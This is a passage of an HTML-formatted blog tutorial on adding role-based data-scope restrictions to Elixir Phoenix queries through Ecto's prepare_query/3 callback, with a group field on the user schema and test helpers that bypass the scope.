&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you read part 1, you&apos;re familiar with the &lt;code&gt;permissions&lt;/code&gt; field and what it means. If not, please go back and read &lt;a href=&quot;https://peterullrich.com/build-a-rap-for-phoenix-part-1&quot;&gt;part 1&lt;/a&gt; :)&lt;/p&gt;
&lt;p&gt;As you might have spotted already, we extended our roles by a new field called &lt;code&gt;data_scope&lt;/code&gt;. It defines, well, the &lt;strong&gt;scope&lt;/strong&gt; of the data that a user with this role is allowed to see. For our customers, this scope is &lt;code&gt;external_one&lt;/code&gt;, meaning that they can only see the invoices and addresses of a single external user, namely themselves. Our customer support employees get the &lt;code&gt;external_all&lt;/code&gt; scope, which means they can query the addresses of all external users. Our HR managers can query all internal addresses, but not our customer&apos;s addresses.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#configure-the-user&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;configure-the-user&quot;&gt;&lt;/a&gt;Configure the User&lt;/h2&gt;
&lt;p&gt;Before we can restrict the queries, we need a way to track which &quot;group&quot; a user belongs to. Let&apos;s add a &lt;code&gt;group&lt;/code&gt; field to the &lt;code&gt;user.ex&lt;/code&gt; schema to distinguish between internal and external users:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.User&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;users&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:group&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Enum&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;values: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:internal&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:external&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# other fields&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the new &lt;code&gt;group&lt;/code&gt; field in place, we can easily filter out internal or external users depending on the data scope access a user has. Neat! Let&apos;s see how to set up these restrictions next.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#set-up-the-repo&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;set-up-the-repo&quot;&gt;&lt;/a&gt;Set up the Repo&lt;/h2&gt;
&lt;p&gt;We will use &lt;code&gt;Ecto.Repo&apos;s&lt;/code&gt; &lt;code&gt;prepare_query/3&lt;/code&gt; callback to restrict the queries. This callback is executed before &lt;strong&gt;any&lt;/strong&gt; query is run through our Repo. This is the perfect place to restrict our queries because it will catch every single one of them! This method was inspired by the &lt;a href=&quot;https://hexdocs.pm/ecto/multi-tenancy-with-foreign-keys.html&quot;&gt;Multi-tenancy&lt;/a&gt; docs of &lt;code&gt;Ecto&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let&apos;s implement a &lt;code&gt;prepare_query/3&lt;/code&gt; callback that restricts a query based on the &lt;code&gt;data_scope&lt;/code&gt; option. It will look something like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;otp_app: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:demo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;adapter: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.Postgres&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Query&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;data_scope_key &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;__MODULE__&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id_key &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;__MODULE__&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Process&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;data_scope_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Process&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;data_scope_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Process&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Process&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;default_options&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_operation&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;data_scope: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_id: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_user_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;prepare_query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_operation&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;cond&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:schema_migration&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;||&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ignore&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;data_scope&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# RESTRICT THE QUERY HERE&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;raise&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;expected data_scope to be set&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We extended our &lt;code&gt;Demo.Repo&lt;/code&gt; with a few functions. Let&apos;s go through them.&lt;/p&gt;
&lt;p&gt;First, we implemented a &lt;code&gt;prepare_query/3&lt;/code&gt; callback that checks if the &lt;code&gt;data_scope&lt;/code&gt; field was set and raises an exception otherwise. It allows an automatic override for migrations that run by default with the &lt;code&gt;schema_migration: true&lt;/code&gt; option. We also added a manual override with &lt;code&gt;opts[:data_scope] == :ignore&lt;/code&gt;. This manual override comes in handy for our test setup and &lt;code&gt;seeds.exs&lt;/code&gt; script. When we write tests, we probably don&apos;t want to worry about satisfying our query restrictions (but this is up to you to decide). Setting up every test just right would become harder and harder the more restrictions we implement, so we will just disable the query restrictions for all tests unless we explicitly activate them. This only applies to our tests though. If we forget to set the data scope in production, the &lt;code&gt;prepare_query/3&lt;/code&gt; will raise an exception and block the query.&lt;/p&gt;
&lt;p&gt;We can easily set the &lt;code&gt;data_scope&lt;/code&gt; field using the &lt;code&gt;put_data_scope/1&lt;/code&gt; function. This stores the value in the process dictionary using &lt;a href=&quot;https://hexdocs.pm/elixir/1.12/Process.html#put/2&quot;&gt;Process.put/2&lt;/a&gt;. This way, we can easily set the data scope in our Phoenix controllers and retrieve the value once we execute a query caused by the request. No need to pass the &lt;code&gt;current_user&lt;/code&gt; struct all the way from the controller to every query we execute. Every request spawns its own process, so we don&apos;t have to worry about deleting the value after a request completes since the process gets killed and cleaned up automatically.&lt;/p&gt;
&lt;p&gt;For our customers with the &lt;code&gt;:external_one&lt;/code&gt; scope, we&apos;ll need to store their &lt;code&gt;user_id&lt;/code&gt; so that we can limit the query to only their data. We&apos;ll use the &lt;code&gt;put_user_id/1&lt;/code&gt; and &lt;code&gt;get_user_id/1&lt;/code&gt; functions for that.&lt;/p&gt;
&lt;p&gt;However, if we call &lt;code&gt;put_data_scope/1&lt;/code&gt; or &lt;code&gt;put_user_id/1&lt;/code&gt;, Ecto won&apos;t pass the values to the &lt;code&gt;prepare_query/3&lt;/code&gt; automatically. We need to add the fields to the &lt;code&gt;default_options/1&lt;/code&gt; callback ourselves. This ensures that we fetch the &lt;code&gt;:data_scope&lt;/code&gt; and &lt;code&gt;:user_id&lt;/code&gt; values just before our query is executed.&lt;/p&gt;
&lt;p&gt;Now, if you add this code to your project and run your tests, probably all of them will fail. That&apos;s because we haven&apos;t disabled the query restrictions in our tests yet. Let&apos;s fix this in our &lt;code&gt;ConnCase&lt;/code&gt; and &lt;code&gt;DataCase&lt;/code&gt; helpers like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.DataCase&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# using do ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;setup&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;tags&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.DataCase&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;setup_sandbox&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;tags&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_data_scope&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ignore&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this line&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.ConnCase&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# using do ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;setup&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;tags&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.DataCase&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;setup_sandbox&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;tags&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
